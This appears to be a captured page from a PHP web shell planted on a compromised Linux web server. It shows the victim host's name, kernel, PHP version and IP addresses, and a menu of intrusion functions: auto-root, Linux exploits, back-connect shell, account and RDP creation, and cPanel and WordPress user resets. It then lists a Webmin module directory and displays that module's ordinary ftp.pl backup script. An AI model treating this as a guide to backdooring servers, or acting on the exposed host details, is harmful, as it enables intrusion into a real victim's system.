Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
fsdump /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
3.42
KB
-rw-r--r--
acl_security.pl
1.16
KB
-rwxr-xr-x
backup.cgi
2.27
KB
-rwxr-xr-x
backup.pl
3.17
KB
-rwxr-xr-x
cgi_args.pl
361
B
-rwxr-xr-x
config
91
B
-rw-r--r--
config.info
534
B
-rw-r--r--
config.info.ar
640
B
-rw-r--r--
config.info.ca
658
B
-rw-r--r--
config.info.cs
437
B
-rw-r--r--
config.info.de
632
B
-rw-r--r--
config.info.es
430
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ko
451
B
-rw-r--r--
config.info.nl
608
B
-rw-r--r--
config.info.no
588
B
-rw-r--r--
config.info.pl
672
B
-rw-r--r--
config.info.pt_BR
440
B
-rw-r--r--
config.info.ru
144
B
-rw-r--r--
config.info.uk
157
B
-rw-r--r--
defaultacl
39
B
-rw-r--r--
delete_dumps.cgi
720
B
-rwxr-xr-x
edit_dump.cgi
5.54
KB
-rwxr-xr-x
feedback_files.pl
229
B
-rwxr-xr-x
freebsd-lib.pl
12.2
KB
-rwxr-xr-x
fsdump-lib.pl
8.1
KB
-rwxr-xr-x
ftp.pl
3.69
KB
-rwxr-xr-x
index.cgi
4.63
KB
-rwxr-xr-x
install_check.pl
379
B
-rwxr-xr-x
irix-lib.pl
8.19
KB
-rwxr-xr-x
kill.cgi
877
B
-rwxr-xr-x
linux-lib.pl
23.24
KB
-rwxr-xr-x
log_parser.pl
770
B
-rwxr-xr-x
macos-lib.pl
12.2
KB
-rwxr-xr-x
module.info
447
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
162
B
-rw-r--r--
module.info.ar
232
B
-rw-r--r--
module.info.ar.auto
19
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
307
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
298
B
-rw-r--r--
module.info.ca
138
B
-rw-r--r--
module.info.ca.auto
17
B
-rw-r--r--
module.info.cs
31
B
-rw-r--r--
module.info.cs.auto
116
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
152
B
-rw-r--r--
module.info.de
146
B
-rw-r--r--
module.info.de.auto
13
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
355
B
-rw-r--r--
module.info.es
50
B
-rw-r--r--
module.info.es.auto
149
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
170
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
235
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
188
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
191
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
188
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
168
B
-rw-r--r--
module.info.hu
31
B
-rw-r--r--
module.info.hu.auto
155
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
181
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
231
B
-rw-r--r--
module.info.ko
32
B
-rw-r--r--
module.info.ko.auto
125
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
178
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
157
B
-rw-r--r--
module.info.ms
123
B
-rw-r--r--
module.info.ms.auto
19
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
153
B
-rw-r--r--
module.info.nl
27
B
-rw-r--r--
module.info.nl.auto
130
B
-rw-r--r--
module.info.no
35
B
-rw-r--r--
module.info.no.auto
127
B
-rw-r--r--
module.info.pl
102
B
-rw-r--r--
module.info.pl.auto
18
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
159
B
-rw-r--r--
module.info.pt_BR
41
B
-rw-r--r--
module.info.pt_BR.auto
127
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
164
B
-rw-r--r--
module.info.ru
50
B
-rw-r--r--
module.info.ru.auto
218
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
160
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
176
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
158
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
265
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
162
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
305
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
223
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
183
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
119
B
-rw-r--r--
module.info.zh_TW
30
B
-rw-r--r--
module.info.zh_TW.auto
98
B
-rw-r--r--
multi.pl
572
B
-rwxr-xr-x
newtape.cgi
592
B
-rwxr-xr-x
newtape.pl
1.58
KB
-rwxr-xr-x
notape.pl
493
B
-rwxr-xr-x
prefs.info
21
B
-rw-r--r--
restore.cgi
935
B
-rwxr-xr-x
restore_form.cgi
1.1
KB
-rwxr-xr-x
rmulti.pl
784
B
-rwxr-xr-x
save_dump.cgi
3.97
KB
-rwxr-xr-x
solaris-lib.pl
6.36
KB
-rwxr-xr-x
uninstall.pl
347
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ftp.pl
#!/usr/bin/perl # Pass data from stdin to an FTP server $no_acl_check++; require './fsdump-lib.pl'; # Parse args, and get password select(STDERR); $| = 1; select(STDOUT); $host = $ARGV[0]; $user = $ARGV[2]; if ($ARGV[3] =~ /touch/) { $touched = 1; } $| = 1; if (defined($ENV{'DUMP_PASSWORD'})) { $pass = $ENV{'DUMP_PASSWORD'}; } else { open(TTY, "+</dev/tty"); print TTY "Password: "; $pass = <TTY>; $pass =~ s/\r|\n//g; close(TTY); } # Read rmt protocol messages while(1) { $line = <STDIN>; $line =~ s/\r|\n//g; if ($line =~ /^O(.*)/) { # File to open specified .. connect to FTP server $file = $1; $perms = <STDIN>; $perms = int($perms); &open_socket($host, 21, "SOCK", \$err); &error_exit("FTP connection failed : $err") if ($err); &ftp_command("", 2, \$err) || &error_exit("FTP prompt failed : $err"); # Login to server @urv = &ftp_command("USER $user", [ 2, 3 ], \$err); @urv || &error_exit("FTP login failed : $err"); if (int($urv[1]/100) == 3) { &ftp_command("PASS $pass", 2, \$err) || &error_exit("FTP login failed : $err"); } &ftp_command("TYPE I", 2, \$err) || &error_exit("FTP file type failed : $err"); # Work out what we are doing $mode = 0; if (($perms & 0100) || ($perms & 01000) || (($perms & 01) || ($perms & 02)) && $touched) { # Writing new file $mode = 1; } elsif ($perms & 02000) { # Appending to a file $mode = 2; } elsif (!$perms) { # Reading from file $mode = 0; } else { &error_exit("Unknown permissions $perms"); } print "A0\n"; } elsif ($line =~ /^W(\d+)/) { # Write to FTP server $len = $1; if ($opened != 1) { &open_ftp_file($mode); } #$opened || &error_exit("FTP connection not opened yet"); read(STDIN, $buf, $len); $wrote = (print CON $buf); print "A".($wrote ? $len : 0)."\n"; } elsif ($line =~ /^R(\d+)/) { # Read from to FTP server if ($opened != 2) { &open_ftp_file(0); } $len = $1; $read = read(CON, $buf, $len); if ($read >= 0) { print "A".$read."\n"; print $buf; } else { print "E",int($!),"\n"; print "Read failed : $!\n"; } } elsif ($line =~ /^C/) { # Close FTP connection if ($opened) { # Finish transfer close(CON); &ftp_command("", 2, \$err) || &error_exit("FTP close failed : $err"); } &ftp_command("QUIT", 2, \$err) || &error_exit("FTP quit failed : $err"); close(SOCK); print "A0\n"; $opened = 0; } elsif (!$line) { # All done! last; } else { print "E1\nUnknown command $line\n"; } } sub error_exit { local $err = &html_tags_to_text(join("", @_)); print STDERR $err,"\n"; print "E1\n$err\n"; exit(1); } sub html_tags_to_text { local ($rv) = @_; $rv =~ s/<tt>|<\/tt>//g; $rv =~ s/<b>|<\/b>//g; $rv =~ s/<i>|<\/i>//g; $rv =~ s/<u>|<\/u>//g; $rv =~ s/<pre>|<\/pre>//g; $rv =~ s/<br>/\n/g; $rv =~ s/<p>/\n\n/g; return $rv; } sub open_ftp_file { local ($mode) = @_; # Open passive port local $pasv = &ftp_command("PASV", 2, \$err); $pasv || &error_exit("FTP port failed : $err"); $pasv =~ /\(([0-9,]+)\)/; local @n = split(/,/ , $1); &open_socket("$n[0].$n[1].$n[2].$n[3]", $n[4]*256 + $n[5], CON, \$err) || &error_exit("FTP port failed : $err"); if ($mode == 0) { # Read from file &ftp_command("RETR $file", 1, \$err) || &error_exit("FTP read failed : $err"); $opened = 2; } elsif ($mode == 1) { # Create new file if requested by the client, or if # the touch command was specified by the caller &ftp_command("STOR $file", 1, \$err) || &error_exit("FTP write failed : $err"); $touched = 0; $opened = 1; } elsif ($mode == 2) { # Otherwise append to the file &ftp_command("APPE $file", 1, \$err) || &error_exit("FTP write failed : $err"); $opened = 1; } else { $opened = 0; } }
Close
